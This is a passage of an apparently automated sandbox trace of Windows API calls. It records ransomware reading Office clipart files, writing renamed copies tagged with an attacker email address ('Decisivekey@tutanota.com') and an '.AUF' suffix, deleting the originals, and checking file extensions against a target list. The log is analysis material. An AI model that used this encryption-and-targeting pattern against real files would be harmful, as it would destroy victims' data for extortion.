lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0216.253] WriteFile (in: hFile=0x21c, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.253] SetEndOfFile (hFile=0x21c) returned 1 [0216.253] CloseHandle (hObject=0x21c) returned 1 [0216.253] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.253] SetEndOfFile (hFile=0x1f8) returned 1 [0216.254] CloseHandle (hObject=0x1f8) returned 1 [0216.254] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.254] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf")) returned 1 [0216.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0216.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0216.257] lstrlenW (lpString=".doc") returned 4 [0216.257] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.257] lstrlenW (lpString=".docx") returned 5 [0216.257] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.257] lstrlenW (lpString=".pdf") returned 4 [0216.257] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.257] lstrlenW (lpString=".xls") returned 4 [0216.257] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.257] lstrlenW (lpString=".xlsx") returned 5 [0216.257] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.257] lstrlenW (lpString=".ppt") returned 4 [0216.257] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0216.257] lstrlenW (lpString=".zip") returned 4 [0216.257] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.257] lstrlenW (lpString=".rar") returned 4 [0216.257] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.257] lstrlenW (lpString=".bz2") returned 4 [0216.257] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.257] lstrlenW (lpString=".7z") returned 3 [0216.257] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0216.257] lstrlenW (lpString=".dbf") returned 4 [0216.257] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0216.257] lstrlenW (lpString=".1cd") returned 4 [0216.257] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0216.257] lstrlenW (lpString=".jpg") returned 4 [0216.257] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.258] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=20578) returned 1 [0216.258] CloseHandle (hObject=0x1f8) returned 1 [0216.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf")) returned 0x20 [0216.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0216.258] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.258] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0216.258] GetLastError () returned 0x0 [0216.258] ReadFile (in: hFile=0x1f8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x5062, lpOverlapped=0x0) returned 1 [0216.268] WriteFile (in: hFile=0x21c, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x5070, lpOverlapped=0x0) returned 1 [0216.269] ReadFile (in: hFile=0x1f8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0216.269] WriteFile (in: hFile=0x21c, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.269] SetEndOfFile (hFile=0x21c) returned 1 [0216.269] CloseHandle (hObject=0x21c) returned 1 [0216.269] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.269] SetEndOfFile (hFile=0x1f8) returned 1 [0216.270] CloseHandle (hObject=0x1f8) returned 1 [0216.270] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.270] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf")) returned 1 [0216.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0216.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0216.270] lstrlenW (lpString=".doc") returned 4 [0216.270] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.270] lstrlenW (lpString=".docx") returned 5 [0216.270] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.270] lstrlenW (lpString=".pdf") returned 4 [0216.270] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.270] lstrlenW (lpString=".xls") returned 4 [0216.270] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.270] lstrlenW (lpString=".xlsx") returned 5 [0216.271] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.271] lstrlenW (lpString=".ppt") returned 4 [0216.271] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0216.271] lstrlenW (lpString=".zip") returned 4 [0216.271] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.271] lstrlenW (lpString=".rar") returned 4 [0216.271] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.271] lstrlenW (lpString=".bz2") returned 4 [0216.271] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.271] lstrlenW (lpString=".7z") returned 3 [0216.271] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0216.271] lstrlenW (lpString=".dbf") returned 4 [0216.271] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0216.271] lstrlenW (lpString=".1cd") returned 4 [0216.271] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0216.271] lstrlenW (lpString=".jpg") returned 4 [0216.271] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.271] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=14428) returned 1 [0216.271] CloseHandle (hObject=0x1f8) returned 1 [0216.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf")) returned 0x20 [0216.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0216.273] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.273] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0216.273] GetLastError () returned 0x0 [0216.273] ReadFile (in: hFile=0x1f8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x385c, lpOverlapped=0x0) returned 1 [0216.283] WriteFile (in: hFile=0x21c, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x3860, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x3860, lpOverlapped=0x0) returned 1 [0216.284] ReadFile (in: hFile=0x1f8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0216.284] WriteFile (in: hFile=0x21c, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.284] SetEndOfFile (hFile=0x21c) returned 1 [0216.284] CloseHandle (hObject=0x21c) returned 1 [0216.285] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.285] SetEndOfFile (hFile=0x1f8) returned 1 [0216.285] CloseHandle (hObject=0x1f8) returned 1 [0216.285] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.286] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf")) returned 1 [0216.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0216.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0216.286] lstrlenW (lpString=".doc") returned 4 [0216.286] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.286] lstrlenW (lpString=".docx") returned 5 [0216.286] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.286] lstrlenW (lpString=".pdf") returned 4 [0216.286] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.286] lstrlenW (lpString=".xls") returned 4 [0216.286] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.286] lstrlenW (lpString=".xlsx") returned 5 [0216.286] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.286] lstrlenW (lpString=".ppt") returned 4 [0216.286] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0216.286] lstrlenW (lpString=".zip") returned 4 [0216.286] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.286] lstrlenW (lpString=".rar") returned 4 [0216.286] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.286] lstrlenW (lpString=".bz2") returned 4 [0216.286] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.286] lstrlenW (lpString=".7z") returned 3 [0216.286] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0216.286] lstrlenW (lpString=".dbf") returned 4 [0216.286] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0216.286] lstrlenW (lpString=".1cd") returned 4 [0216.286] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0216.286] lstrlenW (lpString=".jpg") returned 4 [0216.286] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.287] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=3344) returned 1 [0216.287] CloseHandle (hObject=0x1f8) returned 1 [0216.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf")) returned 0x20 [0216.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0216.287] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.287] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0216.287] GetLastError () returned 0x0 [0216.287] ReadFile (in: hFile=0x1f8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0xd10, lpOverlapped=0x0) returned 1 [0216.301] WriteFile (in: hFile=0x21c, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xd20, lpOverlapped=0x0) returned 1 [0216.301] ReadFile (in: hFile=0x1f8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0216.301] WriteFile (in: hFile=0x21c, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.302] SetEndOfFile (hFile=0x21c) returned 1 [0216.302] CloseHandle (hObject=0x21c) returned 1 [0216.302] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.302] SetEndOfFile (hFile=0x1f8) returned 1 [0216.302] CloseHandle (hObject=0x1f8) returned 1 [0216.302] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.303] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf")) returned 1 [0216.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0216.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0216.303] lstrlenW (lpString=".doc") returned 4 [0216.303] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.303] lstrlenW (lpString=".docx") returned 5 [0216.303] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.303] lstrlenW (lpString=".pdf") returned 4 [0216.303] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.303] lstrlenW (lpString=".xls") returned 4 [0216.303] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.303] lstrlenW (lpString=".xlsx") returned 5 [0216.303] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.303] lstrlenW (lpString=".ppt") returned 4 [0216.303] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0216.303] lstrlenW (lpString=".zip") returned 4 [0216.303] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.303] lstrlenW (lpString=".rar") returned 4 [0216.303] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.303] lstrlenW (lpString=".bz2") returned 4 [0216.303] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.303] lstrlenW (lpString=".7z") returned 3 [0216.303] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0216.303] lstrlenW (lpString=".dbf") returned 4 [0216.303] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0216.303] lstrlenW (lpString=".1cd") returned 4 [0216.303] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0216.303] lstrlenW (lpString=".jpg") returned 4 [0216.303] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.304] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=1596) returned 1 [0216.304] CloseHandle (hObject=0x1f8) returned 1 [0216.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf")) returned 0x20 [0216.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0216.304] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.304] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0216.305] GetLastError () returned 0x0 [0216.305] ReadFile (in: hFile=0x1f8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x63c, lpOverlapped=0x0) returned 1 [0216.544] WriteFile (in: hFile=0x21c, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x640, lpOverlapped=0x0) returned 1 [0216.545] ReadFile (in: hFile=0x1f8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0216.545] WriteFile (in: hFile=0x21c, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.545] SetEndOfFile (hFile=0x21c) returned 1 [0216.545] CloseHandle (hObject=0x21c) returned 1 [0216.545] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.545] SetEndOfFile (hFile=0x1f8) returned 1 [0216.546] CloseHandle (hObject=0x1f8) returned 1 [0216.546] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.546] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf")) returned 1 [0216.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0216.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0216.546] lstrlenW (lpString=".doc") returned 4 [0216.546] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.546] lstrlenW (lpString=".docx") returned 5 [0216.546] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.546] lstrlenW (lpString=".pdf") returned 4 [0216.546] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.546] lstrlenW (lpString=".xls") returned 4 [0216.546] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.547] lstrlenW (lpString=".xlsx") returned 5 [0216.547] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.547] lstrlenW (lpString=".ppt") returned 4 [0216.547] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0216.547] lstrlenW (lpString=".zip") returned 4 [0216.547] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.547] lstrlenW (lpString=".rar") returned 4 [0216.547] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.547] lstrlenW (lpString=".bz2") returned 4 [0216.547] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.547] lstrlenW (lpString=".7z") returned 3 [0216.547] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0216.547] lstrlenW (lpString=".dbf") returned 4 [0216.547] lstrcmpiW 